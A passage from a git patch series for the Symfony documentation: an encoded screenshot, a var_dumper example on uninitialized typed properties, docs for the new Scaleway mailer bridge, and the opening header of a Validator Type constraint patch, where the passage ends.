zV?((`@2!<HdM^;|qp`#?A1dkUv4EuLXPU?aM$O*m0jpbkuZN8gwN>sLK0RHY&udNq
z-JvrMapj_5Uq8)QESXgbVEYdK;ExoZlk%R-*o+1Pg(>9u8_VAGEhGONqOQ>5?CGSk
zGDwpQ*Uqwy?Ath5r?3IDZ>gT-3_soBnP%qn@9`FyrvS}H*JAWpcu|KmH~}o{R%Glu
zsiDNhSZraEwG4gFquLr&xX&+fUdIEOyBC(U^R-4G4T5cFF5vJgpNJ9UKX5!2nG>Z1
z#oA9Z&g-d9kQHP7bZavnTZ74@LZfX_%(=Om&7QIlNS3&tQqeamaeH*e9UmGIUtJl{
z?SJNp#h(7Pgl>RR>}*FEbsK{eCcfijQCm`n|FU;YkV2Jy_*gd?zE@OYJ_nja?c91V
zEDIn}ON%vRJ(nA<;sfxxro`SF>uT`cnppGVh&mfvPiBY;5TkmFaFJQ9gl^BBeWK<Z
z?+8g7W|VGi7mRvPBI~}|YxlL5%`{5w@>)JalT~qINxvigG*`!Un~KMGD*CL5TW4lU
za^1DwWB_&S`oPX8<254|FFb)wZSG2RZV&#e6l1%>o*!nTy>?!v-~WmF4bm*bXYtKk
z{v7hjjs(j18Vh$`6%G*cxBBC4@5ew{bOp8EC8zKzrwQSc(`toiUB$7dfVk@c_nN(H
zg{E~JbcsVqYPYg1RTnZdx?BFtfROvwK7Za%I*VEaE;zFx01V4~u7v%Vw{9aC(|?Bt
ze;EltfS)TJuyej*wHmiv3hc;@xcDv@vxmFfy4q1v-bjbpp3*DgTmmuZMIx$`)rc2y
zS~wAofawRPHbvBPjGH9rVuW2=q40g_wDsQtHhQ40QH8d?n27J*e+~=vX|^-voMcOA
zZHvY{!NeQru?xf(zrOskBGpORw=`r926x?t69D_Kz{j&rfgCt>=4XEu^az<%5?s!u
z!*B+b9HC&TEmMH~9%P_iU_`hdEGh~vmqM*t9joogwlN#1c3P+xro#2vh3dpiA5XFC
zBt6nO^-vn~@|Ji$X%=A)Hm@hBY}d7NT>lVle3`>&@FX=2sXVp^q5Z9(VC2C0dCe_q
z!6Y2LXpfH33I=3k9mgM;&(F|Hh~QTDW^RHdHufklvzUybIc@60J_4MvLKS3pIxh;L
z$Ri7!vbUoc(}R2bA%+|!d!N2?H8cKl(G$N0#n0`Useh(N@x_`Y-K(Z$G%o(qY`rZt
zQfM}AmJpR8O==NOMZ5{70|m!npVX87RQd}NCCry~B3tZt0n}h`M3`crH4IYMXPW)w
zwQY=R+JgQew}%_}#w48j79Gdi*t*i3Y^Cl!sw}8|BUjys<T()Z4N>t+bnyU0#9{KJ
zSmX2^$D=i60hCfzk(`nNfz()|r!LZYm@_ZmCR_@V(Zbb;M8fSOdA!(X*Exl0ZeD0n
z=YY?MY|_!nO+Ge7&}M0boI597+?ZNS+lak_i{Ei-1jDV41h<OX6g(m(-v_X#t*kI;
zOmxMe6e2YaW@bfq)P0MC9DU?G_sV=SN5n%@1O=_eEUGQw<(vEcluaoKaeC*HhYXUl
zSa866?RG5$>)^YHpv_-H;<#{QW`V|BzUr^vwzJGqO;2gBhKQIX1}S*@aXF<HJOhAU
zgEgB!NUO4|lM}{Xq-$FydmmNFa{7FoW)blwq<}qma$c)`N9TbL;?)E4Njfent|02&
zKo1pc{Y&9<sa7sGL)&`E){`kqJU@-c04Yg)+u4g8j7UhibZ?mxmfn6-vEy=Z%k+o+
zLS3B=vHLF=3C8Q)F4*JyM7Sk#CWzrIzy1pt6N8uV40_QQ!Q^G>kPN%5Ef6)2FHZ28
z?%rB@!oV!#KUUt+g+E~n^I%8CW-PPluf7$becDk#PT#EbG%u$KclfL3o^318kWF%Q
z0HuTV6&GTso`-;h&wOJ$=(bT0<h_>34vtgw&>Y*jiBWjt>H^`)J*|~V+kI2QKH0uU
zSD=>hpKCG1p**KlO^u?;Y9loA1oXu7JX-Yl=r!AB2_1MfPjwcN`_X$NGB2y!$n0)n
zGO_ZUyZX$w!a8UkSGG0;n#OhB(P$(ysvYq52bs@&=wz7N4vn0IHFdj|3?KX>WN(g|
z>gqwq`n;<4Yrtue&EwRB(DQXw1LdlfZcwAu>GhdNGyoURCaJ|~wS9o{0-r$+U%*b%
zC~n`8o53#DVUy?&HQDXN_73scSd-RQPBzS{)(G$Ih=ka!=v3(=kr?{f%*`!0KYu=6
z2#kU9XotpuTl?eY#dT^^zzVwF=t$k8|9P!or0_hi6~Oj!YRod_%Pc)KHUSrkR|E!{
zy~cIj(_}BTKcKerC6W00*d1G=&6w`x*rG#F)5`I~7)@c9C#~OjqECr`5O#ILB{F;+
zTlXZr)tl<lc(z^*o})His@~p8gL1ciHy{RD2JxIqVh-{@pxwz;0@tC%^Ygp$<2v6&
z%>)xN0MaLEVFO~DNKM7?%^TDTSSoTD|7rJ67g4i18{BiXMRq={aq-nIKJ&{|dyD<W
zbvHDT*$D~P2F7-}K`gTC6*AOq;Wy(vktDV^29s;Zn*xJ%*h|f0=MhYjmG8ZpE_TwI
zGmwewhHB>Q@)x-j?Ou~8bx|FJFF}wbaNWQ1nqMqJgYxW2x<TJO9z}Y4juls}x93Z@
zZS377JbpPeP)U7ZuZS7p>{qhZwW!dk68~T|CaM?1pUn!yBGVdi9?cYXd)wO2gXVPE
z$9h_A+Tnd=JCFBPYs!&|@5lSz;7Zd-dyhH#2P!Cp_;ROtZr6`mx^HMZyKYx$gZjiS
zD8zzUJ)Qn0N(Y|#-P=@F2vASsW2}*sA-@6<4ulA0>V*lfH>`{H5Ft|$yU}3k($Y!#
z&;6%km{6A2%T2!nk9XQx$AW5VgQRSH+K<|RiMZ0D+s?nKewuQ1n*;bhr->C}%%s*q
zG&5<0AqgX~I0cK!XhNc))DDr&rX_UOVC_G~*|@b=b-z(|KUr$`fNaN!+xuktLk`*P
zMwO)uRqljhKrRmjM)pn(n5!1V9`WZDZ^YA-+YeK;Q>j-`7owJeGNCjAqy*@zCJDFW
zGvL{sK7o`ugWUG!+)VJUyS&T&{0Dh+%+Gcli{zf6V#dcjCv%8%o#H_~Yu=+@$-h8s
zu}1pb$n$ozIUCTnGGfu+cx9DJg8OsSclGi?o@L*N9aN8u?yo2IT2{jm$BSjBiB5lH
zm$D%kO9JK0A1|-hcP74U(ekbTErkbjT{oIt#ig#g#t@&YhNa{21zC%q4x!~b`9d$$
za`MC+O2cfBvvaVZ>v|!!^;@;+b=vWCLeNxQwj`lG*@qI1l^;1&(Bf=Dmyzh>XnFzl
zj~a+rN7LI%BU}^3DsT-+JWB3_P9s5|0^4rQbQ;^pPxb50e<vSq+D=4Cq3xu!h|Rb+
z%=Mc6!@ub77<Nb>$_>LtP7-^{S`KuJ9TtNe;>|()2LB+lJ8s5+9!gr7h_l5xmlg0<
zpY}i0?0I-Vf=B0hQ&Q?jKLr60#)iPhyuu>x0)+6U=9W7gQN)W}Srx)ioA$?Pxxa+#
zAO6GI1`RL@Q_Zf}R4T#+dyA`G8DwS&)WN-}u*|#1=$_%5G6OallXA|^q@A0Y8r>Fa
z4t45>$YPcpSqVaf?Pk8N9zL`xLLhadY@dNKHvb_FYhLd!s}q-5uU2Y>8s%XS;^~Gh
zVn{#8I!kkC-e%4VG=7cv5;P=vfA)q&On6YTfjxab!UmM<7PkdGAobxQUMj<hyklW^
zG95a7D2r@bKC{*nQ+T3C|BzRzXmt37&AI^2PQ3+hQa+}|cCi18hXNuB64V)=0Eq^b
zH6Rve+fvKAhmt-fnsO{tTsbG;`R#mw#N%lYM_C$4<kuw?+O5(~yixnZd@Y8|%N`k2
zvA(XBvYZV4&n?ev8aSSD2p9$eO^S06^O?am)JelztjCblpC6Sa)c@L<Fd{IqB{!l0
zQssJBuTeyFh72GAu33U4#ZH3Bx!7XM9N9luVy=A~+8Lkz>~^d=WBRpK7L1_wf2f_~
zb$Z8;ac|?`nPQ)j{>2BeUycGHawGVfCQ$njv|Dcfvsw<%CXZnO5zwU&zthb7Nv=<|
z<rZ^^urWJWw1e@hSYLls+zBdOn{owkZ%y7g^`bMhGQR!oZUfTU;bLH~(=z8J(<HPg
zzEl)Y@8kpB`}#3=BV=nmdd&WiX+baeIX+q_XbB?Rx?It=JmWTJ7-eko`G;{@*2gMN
zHg!w@cw4XO_lej6%6>GH#s2W3-l-swg$B3U(}5M|&R=MWfYE4B<MC<KcoU?d_fDyk
zwymT5okUQcyAN)aJ1=nfpE2QLgru4oin2|}l5nrculinKH#knmD6MGz7)n+x_**z+
zh35+4X>~6*iRPrQiTup^S#s#qn|Dkj3~W`4tq;|6Ab+*qNxlM(X7Lt&i`)Q3#hlBg
zzr5HF|L|KQ4hP${=9ZXcK|2Wt=evBmpAdjryG@EiobJGA)f`SlcMv6j$DxNaRo^v>
zc2!)f%U@2AG~NJs|C(w$SqWpJ6^9Fd38tMwz};5fjUn6*BKU|%)_Y+S+loawD$Yvt
z0huN-zly(hC%seRNhqX>_x_JfF3z&yqAoQhmqy@SaXSJc=$mwLutmH2W4!&F`ew*b
zy`D-c+7w+z*7gfl0@)vC_Wc{VT~_ndr5^;3Pw(;_mhM>N<5a?z{ADD8y(a&xQ**7C
z^3a6axHajd?FQMX>HHhyE<aYhFNeGK_o_PkkE$r}B;HpD0ya?I_w0C}@;mD#x!g`M
z`MW)wVzW2{Fqg*iF>+W04JItkUEl0OtBi^`Ga5CLho%{zND?zBk)261{vrY+ije>>
zU9`!5H#f}SJhx+{Wq?4u$TaWXj~={8U0x$SV<nm6__OUw#Syx{{O^PJ;$3i>>#HfB
zOdY-MyIarQ?cDh2&GAg4R3!vC!;K9-$N2N`eY?gv9XClyDhjA%lT0B=DN?L>)RbRj
zpql8(jWi<&hZ6s+n&UH`9F?w{)5@6~lRvh#q>hD!r{-5OWZdnm`DfEqvZ~e>vOYQ3
z*og3q$cBXpm8$zq(QWdFSJFn?5)WvOocV#9R;0;M_XY<QFHal__uyqp1BbCJA|(N@
zWmwDM*f(L$G!z?of+<Nq)tin@R*b(tx8D<cyI6W1bVJXv9%s^zl>t8cd{D`E+h^h7
zA1WGRcc3?att-`QOTSmLDm}+n0ja5WqI;p=Qhe_(^@z{e>7lm|x0~vFPdBT@xZ<~g
zT*klEkB;!}(k88XP<GX_d#GXkdw&aOx8^QjFDiY@4(iWG^KPz`7CE9`5i!(aa#b~{
zoA7z7oO~ss$wrT0tC_NF$yJBnA!2p(8(FG$gaaD9y4tjgqiQ9#Bh+Wzn+bbis=YmY
ztMl*$Q8zRXcH#rrY*Lb|wVMVRpUFHwEj6P(B{jtD54rj(aPeItUgMu@nhI9gD=k%}
zK(K(tVg;$st{X*nu00m!5r-1@h(es$VLk)Ve0b9pRoLFPo+3e3oQOTE<+K$`z{)UH
zx(oW2dpAJ61IK}MQq+z|KFmUcg~qSt6?Hwo@0r-*;D0D0^oPm{*~s+B;gxut`$sh=
zu;V*(3&ndePycpV_h7*16yhJrtZ!Q{CB~F#7c@S!J(Uz=MXucurI?Fiz3uU*K?EDY
zAYVea9B%h7t?lk~m}x{Mz>v?)yN_*`$BnC+jg?{+#YMlq*nM&>$%6=ig2?%8qtMO@
zB}@|9ehjB511UEwUSNq5$!>?UP6fP$!;`5zX4@BKRqaaA6#PU0B=}QljyTh<qe)8)
zrQ%#~lx&Ku`6p?>&vM8kg!^PG#o5b#(e<?`Y=T2gM_ZR#IQU(*>v2Sy*nB4NKfl9_
z`cj?1_CL40nDez<`#>DJkdGCI>-lg&eW{y+@4O#=$1C>FD-%iXs`Z{0g@U_CI|95h
ze42)phR<kp-Cvyiz3z`Q-`rzIF7+8Z-i_q}Oy|Re|L~vM!lG0PaPi^;t;VP?^`3og
zWeBjXNeA9_b)=_uL%kYkeKrcWgr5@uAJ|*&OWclW8>gjnRvkTzow=t_yH@j>73D)2
z&%CNy`^S6YCDrh6oMuRhe@tVS-i);y-*-Q{UUJfO^WDaERGGlka#u%Hb92<x3go`<
z%Cr0nA;fp|J9yP>6|XPXgix0y`qI!TSH}q{e(6e~*Myd21Jx;jE48u|ijYV(-R|9|
z2iyoWST=tO!4QDqMp?;S3(<(#Z-KYxTV;D`%RH=o>jnbM`i@8qNUlz%b?kGz4@w6_
zLEtQ+5xnCQcpiyma<Nu-)@O#^Y)y}2TE@pZn{b)M$Z-?ml%Lbft)KaYpM~5V1JP!y
zDDz@<lHbLO=#RW=b&DzvXj~z9@S=MBOy8M)9}+B#c3%z+bq9{i6|<!M@T^Ig`p+_^
z#v-a=GwoxN89axO2NePqntSl~PnXW_WY{ER>rAFMo2a1!mEIt_k?1y)1`of*v{5ar
zByf}6^f$NA$IM0E#9PLPk;d9Mej<>_fB#sn<8k%3PAhTmxUg{V$%3gOrne}Meo5>w
zT@yEWXQH#Vf8^$J7bi+E?Y-+mypMC+3o62dXQkUA!cxO5VNFajku-fON328C>Uw9?
z$K#v?(`q>)48WK-zvp^^&eWR+w}-QyfshtI9O!6zeJ)JmCDZ?^OowsAf4xh#=6Jcq
zB-F;CS{C$3V)B?_?0=U+wo|={3YbV%VUvqM`y^U3$cYzDqppw#o0HC-6#rOA<;8$i
zVlZjTQH1E8X8B>`Q;q+}vBTkr*1}M*!o{hOLni|R3bkb6?<3JNwv{9%Bi(QlUwD_!
zkcx(4d?n<r;a~weVwX9GS$Zcx?#u`Y2D+(G%V|mMFvn43c<p)M-9X1x3J=4T-t%Ah
z_t`UjkoqRk$otmo?9(P-eQrL#%(+>6PVmsYSwIj#3+C2;5Z!CRltj(BQ{s~xr$`gl
z>+55Z;{MK=@}{3}AQG;M2xs~OBs~4G#x3asN;u;x*U!MtGk@%nfmnu~chqk6RygWZ
zd6dU#PD{V_-gqxUj|qT{VxFxzA8aBrrOzq5jtm5xl3@l=`(bl{#n1=go73)CnXV%|
zDn?<`m5a%vUb;of2V)Z$uFz1A?=hK!O0#EuO7nD6`}q-XyaU`)(q5ZWSZRdLUVBF5
z4I2Gyqa*_N=uRj7+=pKvz%PZ*lQTbK9y{}1r>B*nr<K)2D^p~KR|e}0OYQ^z)<Z(_
zPS@2yX=)4OAeV4Zs!to6CTwr-O*Ur2#5f9gdOurOgh+d*39XH>zmtz!2{+oq*)KtM
zKw1uxotgC2YiG&j;0r7%?okJ=&52z~T~%%Efl*6O9wXYpamdg!s=>3u!NYgFv^;^5
z*v%iMSf25mPceQ^=HWvkGZbq}u|V$stRL#_&rrccBIqpUH(7e}qL^jRGk^4e8@OQH
zU)!0V%^n9@O0G;bLGsHr(pLAElj{2>FZU#)nLNsU(}~i_*5iNZE@up!hLQOQSyYOG
zU2zVkYRcw1{qO73fRVK*xa3Ms9Z!Py&kt~$$KT=jxU1*pdaMElk=1Lcex~xlm3(2T
zZV`!9Su1_YCT8*Ph;!AolM~MN?XGU=gy<L)GJKl$e!8f6dq)Jd>&4baPUP&cRR0#<
zA5mc8uLKTF)%G(p>UH(+1`Gj1%P;E~GI;|iRt_Wi2ur?rB#Pn%5MS6B>V#)jKRN9r
z6{G%cZA|$Q4|_3pYI7{SblJ>=2nRda+I3)+4G7)r<hfgT*?0#Z`opY?Inc~t4{|ei
z@txW&{=)1UC+P6Iw<m8zNBVKF+!bg18j|oD8|)b~pL+^q^cTA&VJd7iYA5VcRU=&7
zuu@fQh;S&`T5?K}MV1&MLlta;;yH9(^)j*H!!Yn67)xp0<Ve*o?jDNGaP283N#3>n
zn2q|<6oXJyU<V0;KuDq59`2<kiS`&zBle!2`p!(F&&qkDXAp9OwJ2P-J0bCWhRgG?
zmmj-_;9w=*obGuZFHxQCm?DT(zR;&)i-&djOXE4>$yJd3sv@;#(k=|RQtTfXGB#$(
zt;Dx*FB@len5nfkzY=PHa7^kL*suG&c}fwNVwV`gG$Z}u%Q@>pGV2odMg3cw@gTvf
zUQ$uLfc4k>K(x5v)NTP(RFpjf@Bzqg4&)^y8e4l<jH0(Uq&J%@ngoLf;7zze=H|0)
zKtRW^S(9}9F-!UL9P@#&!@>S*Y-f${!{iqyuxtqj&g>>5Fz!P|Zvh|j!-<D#b3NMk
z7`lv8uU1Dk=8L&?#rzRkOp%@yZxqvvEK>HyR)2PbHd1US;5>tVbz4<Gd7`|SY3%Nw
z8?O`qT@bm^gJ&^<s3P_b%oBF2mi{3bhgwtx6^Al`u`vi0chKrT+pScr&0V~GkON>m
zd)a4yLY}6upC;gY47D)xis(_E4w!HeL}dfZ_9O6bbl};cwzCWAkw$o?*s;}gT58IK
zoJy;8QZ$q4E!v8MgP)TOgf_115^1k|7G@d<Hq=66uW^-fpI#I4@uH>ea_NaQV61w2
z2sT>ummlt1*5FKRs2M-o&pYl%TPRQVpRO|r{vs#<+&9m$s}`X4Gyh%h#37%bisPTk
zmmWa`_m3NtJAQDAzz2)+T`E7S1oJSv(<m)zI{k^>#0f57j)L;<6<s9xP_kBCZvmOI
zX0N@IiSSEC%<FlL@cO7KdDov*cOU0d6FUlHGpIA-6k>T%QAA37s1o}cPA8u`kET6u
zK5d(q;aqbB?mIlX+se?3@p8qFo!vlNBU8w=q1oy?aA|~#=+i<}475{OpH}cwz;?A}
zH7PxBirwG*M;vo@4F>5gTDB2Vh`N;PhMwMEp*3N@!L#^j2!5&At$K^4^+!4ywXfYp
zeTr%mR@1*p70E?`4B5OE-=67X*Y>IbA*LBv-8VDQ?unu<UgTJ_X6Vi`;E35bIni0O
zd(jW=_kR{QsYRmjv4SczO<bKWN=s@JcR02pxVn<LpCES)$S{$GmUi-{nlDHHdF^Zp
z2oqgobWR_TIV2Lc%-I2B5j}`4)Rzfh<rWPz^~KEty~w@&AC-3~K;-?-5caF}!*n94
z%SGYseZjg!^GtDpo(cr5cMJR9!`H(@z-H1v4|5lYz^t^A3#?rF#E5Aq=KAk=M*Lqw
zFh*;tS-T){NN1&W&2G{y?eKyz_YyNZe9qWF474rwk1Txp>1&VSj(9)y1^HC5r$o9$
z09`a0A6M<N%~6Ar2so5YPC=V9V^;j5+oHkYs!nX3qmZ~@8F4|{F;-2+D&0rFgW{_2
zs(<uj9E_+`9p%m+>145zBZ%IDRc+4!B7IW6IuJ-=(l)F5^0yPnB28|}Ku|6m<1t$^
z=IuhhAQWd)s=?uXzBI*XH?IlpY(9jk)Cf?9AM5_>(7a9YC2<S(Se*H=pS3tN(W8x*
zdD$?w9x_|C3h{rwAld82l_<EsB2QS{CW((-85Sj`?2mAyhRUW=!_6G*k7|K~zwFs0
z#%h+n^RB&G98TU4`|<j14V}wFs{;kxdy#myv4pySq=@Bj7<)B$V*}4nwGc4IPVnY@
zQ2fB8s{6!Lc7L92Tk#+By3jcu4#ZKfbqWf!&#TF^+lf}LZawh3S?10tDwr-Gm9o=B
z5EK8gll3BqWEQ1=^I-onUPhU!F(Wzn+e9&4`bGU{1O3BLSByQs-BiS<d~Z&Sbhfl3
zI%nN>!eM{?s<g#Kt?E8O=t$3_ojpvi6H6n59HpVs=2LBa`<UQK_(gU1iP7B1n~mrS
zK^L(Y(*vFQ+YQkl`n~D<t4?T6F68nf$LEPnk5=nHow(^+B1==*5xc^5t~%mS#XCV&
zV0=|xA)5lamY>;z>R@)KAK;3f=7M()9alfTJakB;+@zSas93?W^AVVTI4X_-n%AbB
z>i!_hOW5-hJU|&t9Wb}!esj`hPCkhLO|D6cSv|jT#hbm>;r;FHX6!zqKHRN^kJ0Wy
zOMsivH0o-(Vy`nlGr2o_$N9Mo_@fN3VpXN7;80apQ_4%RVjgd#h?txm8Ri?-O8ixX
zCL+Ro6YVmN%04_UU#2vy2As=z*!wDIq^A)oZful37VRE4o1qa%#j!Nk%MRc{HLiqB
zYW<Jzj=}yf&5s~wW1d#VuI?wxtr_*B-^uXtDz%KD>$lVSV2;WIIqAi`88qIy4Z0P-
z9PhsDmv~kb?>OtDm@05_J8P|>8_xYEy<Z0tFD5bZ4Hs}+Qc+If%2!S?CR~hXkdqfM
zbP;ZK|N0^+?En1OR!g|p?uSYb?YN(2PjC*40~}>7?UM$gbukC$*H~C-q|dG|T=Rv2
z#YI-gR@_=jj$)(RpdCFc3uuvU^DJS20(<aUM>f?;P6piPCH4ICSenX9Pz9h7$UaU_
zKrUZTs~?DeMw%(j(?8er?;tC!Zx=;2wOQU!MC#=V)R8)HkQeFR`w;)Gnk6aD_P~Ch
zvq#9&zlt~tQeWQdq`0`DaY8>f^v)66fOiobSz_Eak22^~s~)@lZ|9mh)7bNYm0gY<
zJRk5nzuiocCe!fWEk&()z>7-4akIy9ys6z6GMo|`HIBrmk;sW7&@1%DekczB52atT
zn0rj&9o>uL>rm3xsY*+Tv4O7kP=J@VFb3J+MwXe+s339553zdgC^bA-D@fL^^fRT8
zZSDW>()a|8M(7BLf+Y24dO3d{Q280TyQn09i(snCNiZLj-_`~+B$4fkiX6?Pd@uKh
zRi#FYYWO^%<G}KVp=9>Ul-U=0dR$nmUCPPj<s@vpan+w4`59qz!|cz95c%Hh^f$E`
z{CB&<B980wNLt-CHN5o#2SIx01CkiQbMce>>fkhoxzTN+yxM-8rl3HzKhkDd^nC&8
zCNY{L=J@-Q-OKT2UlI}vFE&l_pRbO1>7jUT_M`ij@aI8AHQ}Ovl8SRgiAmyy^fNH^
zTP?@e<@wk0seUfSNXZ_$gBCOX6WXay&kqQKq_C(XU>$oM{<Rvp?RvqY`TUvaSF(24
zFCFFl;S}yjX9UEU&a9Hk@$(A7k5)_-|5pdzo^K~u&y+V^jtZ_SpwXba&8>>A{3yYj
zVbtOM@<Ho&%;0RpAB?_H8fvTXv&hL|7x_+G!M-jBo+?BF4L<M4Fbluy<=K|Gq}ze1
zsz$NzfK^>lZ9a9o^Uy4yNh6aHZubaea@>5@9m&B7JF03({HGXM@;#Rw$^V8rU)-LI
z)L5?EY7Y`L`hAm!cDW>cQEE6ZgAax{zxco2ALi~T(DA>D03X~&b^IgS?`v-NKy@b)
zKDZB{;a_xz#SD0W=2@-Aj+!o~bxd4}*Z6HGo2ioD>%~}(W=gZDXBQ=HDd9_o{Vojs
z?hY&odalnE#dIN<Zi{gcn;?sGaU&j2vHHQl5JyjalO@f`6W}2!+-{--{-qBwPLHSU
z4;br$Ul)DKACmNT@=`<}?9KrBXv&mWoKZn<>O95r!pZP2CRBN@W8eI_ED(bTN!|S!
zvkY*w^-|(tSJ*|~H9PzlI^T(61gG9q_GjNgH`012r6Nx6HYL2IWXSb)%XBK@&+NgI
zrv+z?&Yi&b2F&r^*GJM4zAvwzo^LvepPx`Q>WVmRriZ2ze#UfQ-WbQ(Sg}%UNZ4$c
z?_>F%53+oSZ@XoV&KTrZ7d?C9cS%>&H61>p5vBtuaQUMTd5do6`7Zh1SQ$Ap?5&3v
z3C)uqHs<k8-sN4hfwh5&psLem@r}-p1T&KgZpr?zX2u|DH#m0`D8e~lxIZT|>0^NL
zr@mjPm{$_BD^e8R%{@2|p%Ov@;r=}A-?&`D{tU^o%B7I}NQ}BeRLup=rA2dN4)A<L
zPa<XWMPEzPmFT&lnei#1s`pGbOO$Nq2@x7t-zFlWD>(d1VvxIm6)t~;t@)`tzGeV|
zgewa<yJ>8EA@+*>2e!t5;0xWx4hmf-3K2e+6aBn%Yw%<pe^o?`Z)y#=7!{N)SU;0^
z9FGNZOulfL_#5ryE&^lDb{svh?rn_}&*E&9dB|6JH|Yh1WxEy<sbm203jN<(^U>OP
z0pCt&Hsf!uYZ`wf<sYz-y8gNK3~c{8k>a!2Jld-ZR@N(PJP!6WF)k|h_(jC{U9i1O
z!CUXE&uw!>Z;4$N5|azdRyz+@-tzh;D+vhP>){hIp1(<0S?Y(F-_R)2YA@y2C1Pqv
z`vG!fG3zzFv({qu47TixdK*6L-58^K?<@U-`TSV4b}>J!E(75P@<r}EKx|Ij(Un1e
zR6Yh<=?7pBE1MNUufX=MoEAC&GWjncevV;N40(~xoCaWdaua4Pqb1?6zgsX^;m7O1
z0m2et$$dT9EEl)q={(UDqt+*zWtTx9k~6#FKy|p400}W_Piebrzj|Gt-w}C@<36!x
zDNbw=bevfqSOxz)oSs6>`~5@2A!Ji~UgNaJAmhPYgWSIQZ~6NJymk|;i(ByUfn^a~
z1_3Crf#0F=bdZzI%1MzE%+fBMmc;wTz^>ivt!a-2!1AP2ATX{5h|#Nn5<o$nD@qwD
z-&*@B^zDD|0?ixj@Leg;xQPd9Bzdzq@(4XR1Rf}JTui{jdyl`x_OC&_)CX_W#hWv&
zowJPKb0R&!Dk((ylK0LYkx~9Lod{Qt|5t35Ng3{SIrqNL%tI3Y9}dSRWX`^$Yhy2^
zEb(Lw)DsaNk*r&MsInu|`u9}h{D*xnW!j|f+E({86GQ;mU!8|=49YsFT8M{9$Wl-s
zPIWOTf-LWh6I(CsXq3sKL@s3HqU)c+O}6Q7OJU?y-)K$bY=*MZ<f=|`9`hFu>e~Ow
z;NG}$?2s~4QDRJN%NFiWP8XJV@hh*H9V6b07}-?vzX>SOvGfCDt|oaLpAWwOy<848
zDDg{I3}3ggovkY`{r4W$S@{@5ZBa*MU=2*EXbEj%tpGwar3cMXco*OQZwcH6l2aLc
z+7zd0#e{{!t=(Mion>vB>wjZm+Y!*FsD1h0Onm8dfH6F-NBd9b<>!e1A-LRqTe!Dh
zsyNlsPB!15{BJFiGL$QOmX6UUCbfnXQ=e`>v5-BR3m27j{>y<8J$W;pu&+8;p?fe)
z<;lkNH$q3pRCfQi<DZ4=04ud7|4prMEuNjHia@Domc#(KqVj*lf^UQg+#n!fD@fZJ
z-jkn)qPLTt%`Yv*S<C-P2fu$rEHfR=!d&h}epc;QtYcOwm@21ws6;_z@4xpey`nYX
z>6hXuYq{Is<S*Q-QdXWYBP1;KOAnp<pVTln4#Bp5klQe5n~G}%(zp>J>W}}k^+<=c
zK5g0rhDXBxZfTsSP=^0crpWr11R+cO_p7b{yA|^Pud?wj05kI;q_l921tGgcQj}Gb
Ksg(Nq{r>|uu{8Ps

literal 0
HcmV?d00001

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 24e6f022e70..4b3c27391be 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -461,6 +461,24 @@ then its dump representation::
 
 .. image:: /_images/components/var_dumper/09-cut.png
 
+.. code-block:: php
+
+    class Foo
+    {
+        // $foo is uninitialized, which is different from being null
+        private int|float $foo;
+        public ?string $baz = null;
+    }
+
+    $var = new Foo();
+    dump($var);
+
+.. image:: /_images/components/var_dumper/10-uninitialized.png
+
+.. versionadded:: 6.4
+
+    Displaying uninitialized variables information was introduced in Symfony 6.4.
+
 .. _var-dumper-advanced:
 
 Advanced Usage

From cdf88112b56dbfb8953bf254dfee2a99a7504570 Mon Sep 17 00:00:00 2001
From: MrMicky <git@mrmicky.fr>
Date: Tue, 18 Jul 2023 16:07:25 +0200
Subject: [PATCH 3581/5766] [Mailer] Add Scaleway bridge documentation

---
 mailer.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 5c72606af65..b463e27682c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -111,6 +111,7 @@ Service               Install with
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``
+`Scaleway`_           ``composer require symfony/scaleway-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 ===================== ==============================================
 
@@ -126,8 +127,8 @@ Service               Install with
 
 .. versionadded:: 6.4
 
-    The ``Brevo`` integration was renamed in Symfony 6.4 (in previous
-    Symfony versions it was called ``Sendinblue``).
+    The ``Brevo`` (in previous Symfony versions it was called ``Sendinblue``)
+    and ``Scaleway`` integrations were introduced in Symfony 6.4.
 
 .. note::
 
@@ -161,7 +162,7 @@ how to deliver messages via SendGrid. The *only* part you need to change is the
 Each provider has different environment variables that the Mailer uses to
 configure the *actual* protocol, address and authentication for delivery. Some
 also have options that can be configured with query parameters at the end of the
-``MAILER_DSN`` - like ``?region=`` for Amazon SES or Mailgun. Some providers support
+``MAILER_DSN`` - like ``?region=`` for Amazon SES, Mailgun or Scaleway. Some providers support
 sending via ``http``, ``api`` or ``smtp``. Symfony chooses the best available
 transport, but you can force to use one:
 
@@ -217,6 +218,10 @@ party provider:
 |                        | - HTTP n/a                                          |
 |                        | - API postmark+api://KEY@default                    |
 +------------------------+-----------------------------------------------------+
+| `Scaleway`_            | - SMTP scaleway+smtp://PROJECT_ID:API_KEY@default   |
+|                        | - HTTP n/a                                          |
+|                        | - API scaleway+api://PROJECT_ID:API_KEY@default     |
++------------------------+-----------------------------------------------------+
 | `Sendgrid`_            | - SMTP sendgrid+smtp://KEY@default                  |
 |                        | - HTTP n/a                                          |
 |                        | - API sendgrid+api://KEY@default                    |
@@ -1881,4 +1886,5 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
+.. _`Scaleway`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Scaleway/README.md
 .. _`SendGrid`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendgrid/README.md

From 458fdd5075e16949f00b0472fd0043a69223f42c Mon Sep 17 00:00:00 2001
From: Guillaume Aveline <guillaume@codr.fr>
Date: Thu, 6 Jul 2023 21:48:49 +0200
Subject: [PATCH 3582/5766] [Validator] Update `Type` constraint, add `number`,
 `finite-float` and `finite-number` validations

---
 reference/constraints/Type.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index e1b41c7e350..a0c80c031e0 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
